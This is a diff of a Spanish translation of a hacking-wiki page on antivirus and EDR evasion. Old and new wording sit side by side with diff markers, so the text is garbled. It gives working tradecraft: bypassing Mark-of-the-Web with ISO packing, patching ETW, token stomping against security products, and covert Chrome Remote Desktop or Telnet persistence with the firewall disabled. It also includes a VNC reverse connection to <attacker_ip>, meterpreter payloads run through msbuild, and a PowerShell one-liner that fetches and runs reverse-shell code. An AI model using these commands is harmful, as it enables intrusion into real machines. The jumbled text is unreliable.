## Obfuscation
|
||||
|
||||
> [!TIP]
|
||||
> Varias técnicas de ofuscación se basan en cifrar datos, lo que aumentará la entropía del binario, lo que facilitará que los AV y EDR lo detecten. Ten cuidado con esto y tal vez solo aplica cifrado a secciones específicas de tu código que sean sensibles o necesiten ser ocultadas.
|
||||
> Several obfuscation techniques relies on encrypting data, which will increase the entropy of the binary which will make easier for AVs and EDRs to detect it. Be careful with this and maybe only apply encryption to specific sections of your code that is sensitive or needs to be hidden.
|
||||
|
||||
### Deobfuscating ConfuserEx-Protected .NET Binaries
|
||||
|
||||
Al analizar malware que utiliza ConfuserEx 2 (o bifurcaciones comerciales), es común enfrentarse a varias capas de protección que bloquearán descompiladores y sandboxes. El flujo de trabajo a continuación restaura de manera confiable **un IL casi original** que luego puede ser descompilado a C# en herramientas como dnSpy o ILSpy.
|
||||
Al analizar malware que usa ConfuserEx 2 (o forks comerciales) es habitual enfrentarse a varias capas de protección que bloquearán decompilers y sandboxes. El flujo de trabajo que sigue restaura de forma fiable **un IL casi original** que luego puede ser decompilado a C# en herramientas como dnSpy o ILSpy.
|
||||
|
||||
1. Eliminación de anti-tampering – ConfuserEx cifra cada *cuerpo de método* y lo descifra dentro del *constructor estático* del *módulo* (`<Module>.cctor`). Esto también parchea el checksum PE, por lo que cualquier modificación hará que el binario se bloquee. Usa **AntiTamperKiller** para localizar las tablas de metadatos cifradas, recuperar las claves XOR y reescribir un ensamblado limpio:
|
||||
1. Anti-tampering removal – ConfuserEx encrypts every *method body* and decrypts it inside the *module* static constructor (`<Module>.cctor`). Esto también parchea el PE checksum, de modo que cualquier modificación hará que el binario falle. Usa **AntiTamperKiller** para localizar las tablas de metadata encriptadas, recuperar las claves XOR y reescribir un assembly limpio:
|
||||
```bash
|
||||
# https://github.com/wwh1004/AntiTamperKiller
|
||||
python AntiTamperKiller.py Confused.exe Confused.clean.exe
|
||||
```
|
||||
La salida contiene los 6 parámetros anti-tampering (`key0-key3`, `nameHash`, `internKey`) que pueden ser útiles al construir tu propio descompresor.
|
||||
La salida contiene los 6 parámetros anti-tamper (`key0-key3`, `nameHash`, `internKey`) que pueden ser útiles al construir tu propio unpacker.
|
||||
|
||||
2. Recuperación de símbolos / flujo de control – alimenta el archivo *limpio* a **de4dot-cex** (una bifurcación de de4dot que es consciente de ConfuserEx).
|
||||
2. Symbol / control-flow recovery – alimenta el archivo *clean* a **de4dot-cex** (un fork de de4dot con soporte para ConfuserEx).
|
||||
```bash
|
||||
de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe
|
||||
```
|
||||
Flags:
|
||||
• `-p crx` – selecciona el perfil de ConfuserEx 2
|
||||
• de4dot deshará la aplanación del flujo de control, restaurará los espacios de nombres, clases y nombres de variables originales y descifrará cadenas constantes.
|
||||
• `-p crx` – select the ConfuserEx 2 profile
|
||||
• de4dot deshará el control-flow flattening, restaurará los namespaces, clases y nombres de variables originales y desencriptará las constant strings.
|
||||
|
||||
3. Eliminación de llamadas proxy – ConfuserEx reemplaza las llamadas directas a métodos con envolturas ligeras (también conocidas como *llamadas proxy*) para romper aún más la descompilación. Elimínalas con **ProxyCall-Remover**:
|
||||
3. Proxy-call stripping – ConfuserEx reemplaza llamadas directas a métodos con wrappers ligeros (a.k.a *proxy calls*) para dificultar aún más la decompilación. Elimínalas con **ProxyCall-Remover**:
|
||||
```bash
|
||||
ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe
|
||||
```
|
||||
Después de este paso, deberías observar API .NET normales como `Convert.FromBase64String` o `AES.Create()` en lugar de funciones de envoltura opacas (`Class8.smethod_10`, …).
|
||||
Después de este paso deberías observar APIs normales de .NET como `Convert.FromBase64String` o `AES.Create()` en lugar de funciones wrapper opacas (`Class8.smethod_10`, …).
|
||||
|
||||
4. Limpieza manual – ejecuta el binario resultante bajo dnSpy, busca grandes blobs Base64 o el uso de `RijndaelManaged`/`TripleDESCryptoServiceProvider` para localizar la carga útil *real*. A menudo, el malware lo almacena como un arreglo de bytes codificado TLV inicializado dentro de `<Module>.byte_0`.
|
||||
4. Manual clean-up – ejecuta el binario resultante bajo dnSpy, busca grandes blobs Base64 o uso de `RijndaelManaged`/`TripleDESCryptoServiceProvider` para localizar el *real* payload. A menudo el malware lo almacena como un array de bytes codificado TLV inicializado dentro de `<Module>.byte_0`.
|
||||
|
||||
La cadena anterior restaura el flujo de ejecución **sin** necesidad de ejecutar la muestra maliciosa – útil al trabajar en una estación de trabajo fuera de línea.
|
||||
La cadena anterior restaura el flujo de ejecución **sin** necesidad de ejecutar la muestra maliciosa — útil cuando se trabaja en una estación offline.
|
||||
|
||||
> 🛈 ConfuserEx produce un atributo personalizado llamado `ConfusedByAttribute` que puede ser utilizado como un IOC para clasificar automáticamente muestras.
|
||||
> 🛈 ConfuserEx produce un atributo personalizado llamado `ConfusedByAttribute` que puede usarse como IOC para triage automático de muestras.
|
||||
|
||||
#### One-liner
|
||||
```bash
|
||||
@ -265,38 +268,38 @@ autotok.sh Confused.exe # wrapper that performs the 3 steps above sequentially
|
||||
```
|
||||
---
|
||||
|
||||
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: ofuscador de C#**
|
||||
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): El objetivo de este proyecto es proporcionar un fork de código abierto de la suite de compilación [LLVM](http://www.llvm.org/) capaz de ofrecer una mayor seguridad del software a través de [ofuscación de código](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) y protección contra manipulaciones.
|
||||
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
|
||||
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): El objetivo de este proyecto es proporcionar un fork de código abierto de la suite de compilación [LLVM](http://www.llvm.org/) capaz de aumentar la seguridad del software mediante [code obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) y tamper-proofing.
|
||||
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demuestra cómo usar el lenguaje `C++11/14` para generar, en tiempo de compilación, código ofuscado sin usar ninguna herramienta externa y sin modificar el compilador.
|
||||
- [**obfy**](https://github.com/fritzone/obfy): Agrega una capa de operaciones ofuscadas generadas por el marco de metaprogramación de plantillas de C++ que hará que la vida de la persona que quiera crackear la aplicación sea un poco más difícil.
|
||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz es un ofuscador binario x64 que puede ofuscar varios archivos pe diferentes, incluyendo: .exe, .dll, .sys
|
||||
- [**metame**](https://github.com/a0rtega/metame): Metame es un motor de código metamórfico simple para ejecutables arbitrarios.
|
||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator es un marco de ofuscación de código de grano fino para lenguajes compatibles con LLVM utilizando ROP (programación orientada a retorno). ROPfuscator ofusca un programa a nivel de código de ensamblador transformando instrucciones regulares en cadenas ROP, frustrando nuestra concepción natural del flujo de control normal.
|
||||
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt es un Crypter PE de .NET escrito en Nim
|
||||
- [**obfy**](https://github.com/fritzone/obfy): Añade una capa de operaciones ofuscadas generadas por el framework de metaprogramación de plantillas de C++ que hará un poco más difícil la vida de la persona que quiera crackear la aplicación.
|
||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz es un ofuscador binario x64 capaz de ofuscar varios tipos de archivos PE, incluyendo: .exe, .dll, .sys
|
||||
- [**metame**](https://github.com/a0rtega/metame): Metame es un motor simple de código metamórfico para ejecutables arbitrarios.
|
||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator es un framework de obfuscación de código de grano fino para lenguajes soportados por LLVM que utiliza ROP (return-oriented programming). ROPfuscator ofusca un programa a nivel de código ensamblador transformando instrucciones regulares en cadenas ROP, frustrando nuestra concepción natural del flujo de control normal.
|
||||
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt es un .NET PE Crypter escrito en Nim
|
||||
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor es capaz de convertir EXE/DLL existentes en shellcode y luego cargarlos
|
||||
|
||||
## SmartScreen & MoTW
|
||||
|
||||
Es posible que hayas visto esta pantalla al descargar algunos ejecutables de internet y ejecutarlos.
|
||||
You may have seen this screen when downloading some executables from the internet and executing them.
|
||||
|
||||
Microsoft Defender SmartScreen es un mecanismo de seguridad destinado a proteger al usuario final contra la ejecución de aplicaciones potencialmente maliciosas.
|
||||
|
||||
<figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
SmartScreen funciona principalmente con un enfoque basado en la reputación, lo que significa que las aplicaciones descargadas poco comúnmente activarán SmartScreen, alertando y evitando que el usuario final ejecute el archivo (aunque el archivo aún se puede ejecutar haciendo clic en Más información -> Ejecutar de todos modos).
|
||||
SmartScreen funciona principalmente con un enfoque basado en reputación, lo que significa que las aplicaciones descargadas de forma poco común activarán SmartScreen, alertando y evitando que el usuario final ejecute el archivo (although the file can still be executed by clicking More Info -> Run anyway).
|
||||
|
||||
**MoTW** (Marca de la Web) es un [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) con el nombre de Zone.Identifier que se crea automáticamente al descargar archivos de internet, junto con la URL desde la que se descargó.
|
||||
**MoTW** (Mark of The Web) es un [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) con el nombre Zone.Identifier que se crea automáticamente al descargar archivos desde internet, junto con la URL desde la que se descargó.
|
||||
|
||||
<figure><img src="../images/image (237).png" alt=""><figcaption><p>Comprobando el ADS Zone.Identifier para un archivo descargado de internet.</p></figcaption></figure>
|
||||
<figure><img src="../images/image (237).png" alt=""><figcaption><p>Verificando el ADS Zone.Identifier para un archivo descargado desde internet.</p></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Es importante tener en cuenta que los ejecutables firmados con un certificado de firma **confiable** **no activarán SmartScreen**.
|
||||
> Es importante notar que los ejecutables firmados con un certificado de firma **confiable** **no activarán SmartScreen**.
|
||||
|
||||
Una forma muy efectiva de evitar que tus cargas útiles obtengan la Marca de la Web es empaquetarlas dentro de algún tipo de contenedor como un ISO. Esto sucede porque la Marca de la Web (MOTW) **no puede** aplicarse a volúmenes **no NTFS**.
|
||||
Una forma muy efectiva de evitar que tus payloads obtengan la Mark of The Web es empaquetándolos dentro de algún tipo de contenedor como un ISO. Esto ocurre porque Mark-of-the-Web (MOTW) **no puede** aplicarse a volúmenes **no NTFS**.
|
||||
|
||||
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) es una herramienta que empaqueta cargas útiles en contenedores de salida para evadir la Marca de la Web.
|
||||
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) es una herramienta que empaqueta payloads en contenedores de salida para evadir Mark-of-the-Web.
|
||||
|
||||
Ejemplo de uso:
|
||||
```bash
|
||||
@ -320,114 +323,118 @@ Adding file: /TotallyLegitApp.exe
|
||||
|
||||
[+] Generated file written to (size: 3420160): container.iso
|
||||
```
|
||||
Aquí hay una demostración para eludir SmartScreen empaquetando cargas útiles dentro de archivos ISO usando [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)
|
||||
Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files using [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)
|
||||
|
||||
<figure><img src="../images/packmypayload_demo.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## ETW
|
||||
|
||||
Event Tracing for Windows (ETW) es un poderoso mecanismo de registro en Windows que permite a las aplicaciones y componentes del sistema **registrar eventos**. Sin embargo, también puede ser utilizado por productos de seguridad para monitorear y detectar actividades maliciosas.
|
||||
Event Tracing for Windows (ETW) es un potente mecanismo de registro en Windows que permite a las aplicaciones y componentes del sistema **registrar eventos**. Sin embargo, también puede ser usado por productos de seguridad para monitorizar y detectar actividades maliciosas.
|
||||
|
||||
De manera similar a cómo se desactiva (elude) AMSI, también es posible hacer que la función **`EtwEventWrite`** del proceso de espacio de usuario regrese inmediatamente sin registrar ningún evento. Esto se hace parcheando la función en memoria para que regrese de inmediato, deshabilitando efectivamente el registro de ETW para ese proceso.
|
||||
De manera similar a cómo AMSI es deshabilitado (evadido), también es posible hacer que la función **`EtwEventWrite`** del proceso en espacio de usuario retorne inmediatamente sin registrar eventos. Esto se consigue parcheando la función en memoria para que retorne inmediatamente, deshabilitando efectivamente el registro ETW para ese proceso.
|
||||
|
||||
You can find more info in **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) and [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**.
|
||||
|
||||
Puedes encontrar más información en **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) y [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**.
|
||||
|
||||
## C# Assembly Reflection
|
||||
|
||||
Cargar binarios de C# en memoria se conoce desde hace bastante tiempo y sigue siendo una excelente manera de ejecutar tus herramientas de post-explotación sin ser detectado por AV.
|
||||
Cargar binarios C# en memoria es conocido desde hace bastante tiempo y sigue siendo una excelente manera de ejecutar tus herramientas de post-explotación sin ser detectado por AV.
|
||||
|
||||
Dado que la carga útil se cargará directamente en memoria sin tocar el disco, solo tendremos que preocuparnos por parchear AMSI para todo el proceso.
|
||||
Dado que el payload se cargará directamente en memoria sin tocar el disco, solo tendremos que preocuparnos por parchear AMSI para todo el proceso.
|
||||
|
||||
La mayoría de los frameworks C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) ya ofrecen la capacidad de ejecutar ensamblados de C# directamente en memoria, pero hay diferentes formas de hacerlo:
|
||||
Most C2 frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) already provide the ability to execute C# assemblies directly in memory, but there are different ways of doing so:
|
||||
|
||||
- **Fork\&Run**
|
||||
|
||||
Esto implica **generar un nuevo proceso sacrificial**, inyectar tu código malicioso de post-explotación en ese nuevo proceso, ejecutar tu código malicioso y, cuando termines, matar el nuevo proceso. Esto tiene tanto sus beneficios como sus desventajas. El beneficio del método fork and run es que la ejecución ocurre **fuera** de nuestro proceso de implante Beacon. Esto significa que si algo en nuestra acción de post-explotación sale mal o es detectado, hay una **mucho mayor posibilidad** de que nuestro **implante sobreviva.** La desventaja es que tienes una **mayor probabilidad** de ser atrapado por **Detecciones Comportamentales**.
|
||||
Implica **crear un nuevo proceso sacrificial**, inyectar tu código malicioso de post-explotación en ese nuevo proceso, ejecutar tu código malicioso y, al terminar, matar el nuevo proceso. Esto tiene ventajas y desventajas. La ventaja del método fork and run es que la ejecución ocurre **fuera** de nuestro proceso implantado Beacon. Esto significa que si algo en nuestra acción de post-explotación sale mal o es detectado, hay una **probabilidad mucho mayor** de que nuestro **implant sobreviva.** La desventaja es que tienes una **mayor probabilidad** de ser detectado por **Behavioural Detections**.
|
||||
|
||||
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **Inline**
|
||||
|
||||
Se trata de inyectar el código malicioso de post-explotación **en su propio proceso**. De esta manera, puedes evitar tener que crear un nuevo proceso y que sea escaneado por AV, pero la desventaja es que si algo sale mal con la ejecución de tu carga útil, hay una **mucho mayor posibilidad** de **perder tu beacon** ya que podría fallar.
|
||||
Se trata de inyectar el código malicioso de post-explotación **en su propio proceso**. De esta manera, puedes evitar crear un nuevo proceso y que este sea escaneado por AV, pero la desventaja es que si algo sale mal con la ejecución de tu payload, hay una **probabilidad mucho mayor** de **perder tu beacon** ya que podría fallar.
|
||||
|
||||
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Si deseas leer más sobre la carga de ensamblados de C#, consulta este artículo [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) y su BOF InlineExecute-Assembly ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
|
||||
> Si quieres leer más sobre la carga de ensamblados C#, consulta este artículo [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) y su InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
|
||||
|
||||
También puedes cargar ensamblados de C# **desde PowerShell**, consulta [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) y el video de [S3cur3th1sSh1t](https://www.youtube.com/watch?v=oe11Q-3Akuk).
|
||||
You can also load C# Assemblies **from PowerShell**, check out [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) and [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk).
|
||||
|
||||
## Usando Otros Lenguajes de Programación
|
||||
## Using Other Programming Languages
|
||||
|
||||
Como se propone en [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), es posible ejecutar código malicioso utilizando otros lenguajes al dar a la máquina comprometida acceso **al entorno del intérprete instalado en el recurso compartido SMB controlado por el atacante**.
|
||||
As proposed in [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), es posible ejecutar código malicioso usando otros lenguajes dando a la máquina comprometida acceso **al entorno del intérprete instalado en una compartición SMB controlada por el atacante**.
|
||||
|
||||
Al permitir el acceso a los binarios del intérprete y al entorno en el recurso compartido SMB, puedes **ejecutar código arbitrario en estos lenguajes dentro de la memoria** de la máquina comprometida.
|
||||
Al permitir el acceso a los binarios del intérprete y al entorno en la compartición SMB puedes **ejecutar código arbitrario en estos lenguajes en memoria** de la máquina comprometida.
|
||||
|
||||
El repositorio indica: Defender aún escanea los scripts, pero al utilizar Go, Java, PHP, etc., tenemos **más flexibilidad para eludir firmas estáticas**. Las pruebas con scripts de shell reverso aleatorios no ofuscados en estos lenguajes han demostrado ser exitosas.
|
||||
The repo indicates: Defender still scans the scripts but by utilising Go, Java, PHP etc we have **more flexibility to bypass static signatures**. Testing with random un-obfuscated reverse shell scripts in these languages has proved successful.
|
||||
|
||||
## TokenStomping
|
||||
|
||||
Token stomping es una técnica que permite a un atacante **manipular el token de acceso o un producto de seguridad como un EDR o AV**, permitiéndoles reducir sus privilegios para que el proceso no muera, pero no tenga permisos para verificar actividades maliciosas.
|
||||
Token stomping es una técnica que permite a un atacante **manipular el token de acceso o un producto de seguridad como un EDR o AV**, permitiéndole reducir sus privilegios para que el proceso no muera pero no tenga permisos para comprobar actividades maliciosas.
|
||||
|
||||
Para prevenir esto, Windows podría **impedir que procesos externos** obtengan manejadores sobre los tokens de procesos de seguridad.
|
||||
To prevent this Windows could **prevent external processes** from getting handles over the tokens of security processes.
|
||||
|
||||
- [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/)
|
||||
- [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp)
|
||||
- [**https://github.com/nick-frischkorn/TokenStripBOF**](https://github.com/nick-frischkorn/TokenStripBOF)
|
||||
|
||||
## Usando Software de Confianza
|
||||
## Using Trusted Software
|
||||
|
||||
### Chrome Remote Desktop
|
||||
|
||||
Como se describe en [**esta publicación de blog**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), es fácil simplemente desplegar Chrome Remote Desktop en la PC de la víctima y luego usarlo para tomar el control y mantener la persistencia:
|
||||
1. Descarga desde https://remotedesktop.google.com/, haz clic en "Configurar a través de SSH", y luego haz clic en el archivo MSI para Windows para descargar el archivo MSI.
|
||||
2. Ejecuta el instalador en silencio en la víctima (se requiere administrador): `msiexec /i chromeremotedesktophost.msi /qn`
|
||||
3. Regresa a la página de Chrome Remote Desktop y haz clic en siguiente. El asistente te pedirá que autorices; haz clic en el botón Autorizar para continuar.
|
||||
4. Ejecuta el parámetro dado con algunos ajustes: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (Nota el parámetro pin que permite establecer el pin sin usar la GUI).
|
||||
Como se describe en [**this blog post**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), es fácil desplegar Chrome Remote Desktop en el PC de una víctima y luego usarlo para tomar control y mantener persistencia:
|
||||
1. Descarga desde https://remotedesktop.google.com/, haz clic en "Set up via SSH", y luego haz clic en el archivo MSI para Windows para descargar el archivo MSI.
|
||||
2. Ejecuta el instalador silenciosamente en la víctima (se requieren privilegios de administrador): `msiexec /i chromeremotedesktophost.msi /qn`
|
||||
3. Vuelve a la página de Chrome Remote Desktop y haz clic en siguiente. El asistente te pedirá autorizar; haz clic en el botón Authorize para continuar.
|
||||
4. Ejecuta el parámetro dado con algunos ajustes: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (Nota: el parámetro pin permite establecer el PIN sin usar la GUI).
|
||||
|
||||
## Evasión Avanzada
|
||||
|
||||
La evasión es un tema muy complicado, a veces tienes que tener en cuenta muchas fuentes diferentes de telemetría en un solo sistema, por lo que es prácticamente imposible permanecer completamente indetectado en entornos maduros.
|
||||
## Advanced Evasion
|
||||
|
||||
Cada entorno al que te enfrentes tendrá sus propias fortalezas y debilidades.
|
||||
La evasión es un tema muy complicado; a veces tienes que tener en cuenta muchas fuentes de telemetría en un solo sistema, por lo que es prácticamente imposible permanecer completamente indetectado en entornos maduros.
|
||||
|
||||
Cada entorno contra el que trabajes tendrá sus propias fortalezas y debilidades.
|
||||
|
||||
Te animo encarecidamente a ver esta charla de [@ATTL4S](https://twitter.com/DaniLJ94), para obtener una introducción a técnicas de Advanced Evasion.
|
||||
|
||||
Te animo a que veas esta charla de [@ATTL4S](https://twitter.com/DaniLJ94), para obtener una base sobre técnicas de evasión más avanzadas.
|
||||
|
||||
{{#ref}}
|
||||
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
|
||||
{{#endref}}
|
||||
|
||||
Esta es también otra gran charla de [@mariuszbit](https://twitter.com/mariuszbit) sobre Evasión en Profundidad.
|
||||
Esta es también otra gran charla de [@mariuszbit](https://twitter.com/mariuszbit) sobre Evasion in Depth.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://www.youtube.com/watch?v=IbA7Ung39o4
|
||||
{{#endref}}
|
||||
|
||||
## **Técnicas Antiguas**
|
||||
## **Old Techniques**
|
||||
|
||||
### **Ver qué partes encuentra Defender como maliciosas**
|
||||
### **Check which parts Defender finds as malicious**
|
||||
|
||||
Puedes usar [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) que **eliminará partes del binario** hasta que **descubra qué parte Defender** está encontrando como maliciosa y te lo dividirá.\
|
||||
Otra herramienta que hace **lo mismo es** [**avred**](https://github.com/dobin/avred) con un servicio web abierto que ofrece el servicio en [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
|
||||
Puedes usar [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) que **eliminará partes del binario** hasta que **determine qué parte Defender** detecta como maliciosa y te la divida.\
|
||||
Otra herramienta que hace **lo mismo es** [**avred**](https://github.com/dobin/avred) con un servicio web abierto en [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
|
||||
|
||||
### **Servidor Telnet**
|
||||
### **Telnet Server**
|
||||
|
||||
Hasta Windows 10, todos los Windows venían con un **servidor Telnet** que podías instalar (como administrador) haciendo:
|
||||
Hasta Windows10, todas las versiones de Windows venían con un **servidor Telnet** que podías instalar (como administrador) haciendo:
|
||||
```bash
|
||||
pkgmgr /iu:"TelnetServer" /quiet
|
||||
```
|
||||
Haz que **inicie** cuando se arranque el sistema y **ejecuta** ahora:
|
||||
Haz que se **inicie** cuando el sistema arranque y **ejecútalo** ahora:
|
||||
```bash
|
||||
sc config TlntSVR start= auto obj= localsystem
|
||||
```
|
||||
**Cambiar el puerto telnet** (sigiloso) y desactivar el firewall:
|
||||
**Cambiar telnet port** (stealth) y desactivar firewall:
|
||||
```
|
||||
tlntadmn config port=80
|
||||
netsh advfirewall set allprofiles state off
|
||||
```
|
||||
### UltraVNC
|
||||
|
||||
Descárgalo de: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (quieres las descargas bin, no la instalación)
|
||||
Descárgalo desde: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (busca las descargas bin, no el instalador)
|
||||
|
||||
**EN EL HOST**: Ejecuta _**winvnc.exe**_ y configura el servidor:
|
||||
|
||||
@ -435,21 +442,21 @@ Descárgalo de: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.co
|
||||
- Establece una contraseña en _VNC Password_
|
||||
- Establece una contraseña en _View-Only Password_
|
||||
|
||||
Luego, mueve el binario _**winvnc.exe**_ y el archivo **nuevo** creado _**UltraVNC.ini**_ dentro de la **víctima**
|
||||
Luego, mueve el binario _**winvnc.exe**_ y el archivo **recién** creado _**UltraVNC.ini**_ dentro del **victim**
|
||||
|
||||
#### **Conexión inversa**
|
||||
#### **Reverse connection**
|
||||
|
||||
El **atacante** debe **ejecutar dentro** de su **host** el binario `vncviewer.exe -listen 5900` para que esté **preparado** para capturar una **conexión VNC** inversa. Luego, dentro de la **víctima**: Inicia el daemon winvnc `winvnc.exe -run` y ejecuta `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
|
||||
El **attacker** debería ejecutar en su **host** el binario `vncviewer.exe -listen 5900` para que esté preparado para captar una reverse **VNC connection**. Luego, dentro del **victim**: inicia el daemon winvnc `winvnc.exe -run` y ejecuta `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
|
||||
|
||||
**ADVERTENCIA:** Para mantener el sigilo no debes hacer algunas cosas
|
||||
**ADVERTENCIA:** Para mantener el sigilo debes evitar hacer lo siguiente
|
||||
|
||||
- No inicies `winvnc` si ya está en ejecución o activarás un [popup](https://i.imgur.com/1SROTTl.png). verifica si está en ejecución con `tasklist | findstr winvnc`
|
||||
- No inicies `winvnc` sin `UltraVNC.ini` en el mismo directorio o causará que se abra [la ventana de configuración](https://i.imgur.com/rfMQWcf.png)
|
||||
- No ejecutes `winvnc -h` para ayuda o activarás un [popup](https://i.imgur.com/oc18wcu.png)
|
||||
- No inicies `winvnc` si ya se está ejecutando o desencadenarás una [ventana emergente](https://i.imgur.com/1SROTTl.png). Comprueba si se está ejecutando con `tasklist | findstr winvnc`
|
||||
- No inicies `winvnc` sin `UltraVNC.ini` en el mismo directorio o provocará que se abra [la ventana de configuración](https://i.imgur.com/rfMQWcf.png)
|
||||
- No ejecutes `winvnc -h` para ayuda o desencadenarás una [ventana emergente](https://i.imgur.com/oc18wcu.png)
|
||||
|
||||
### GreatSCT
|
||||
|
||||
Descárgalo de: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
|
||||
Descárgalo desde: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
|
||||
```
|
||||
git clone https://github.com/GreatSCT/GreatSCT.git
|
||||
cd GreatSCT/setup/
|
||||
@ -467,7 +474,7 @@ sel lport 4444
|
||||
generate #payload is the default name
|
||||
#This will generate a meterpreter xml and a rcc file for msfconsole
|
||||
```
|
||||
Ahora **inicia el lister** con `msfconsole -r file.rc` y **ejecuta** la **carga útil xml** con:
|
||||
Ahora **inicia el lister** con `msfconsole -r file.rc` y **ejecuta** el **payload xml** con:
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
|
||||
```
|
||||
@ -477,7 +484,7 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
|
||||
|
||||
https://medium.com/@Bank\_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
|
||||
|
||||
#### Primer Revershell en C#
|
||||
#### Primer C# Revershell
|
||||
|
||||
Compílalo con:
|
||||
```
|
||||
@ -568,7 +575,7 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe RE
|
||||
|
||||
[REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639](https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639)
|
||||
|
||||
Descarga y ejecución automáticas:
|
||||
Descarga y ejecución automática:
|
||||
```csharp
|
||||
64bit:
|
||||
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
|
||||
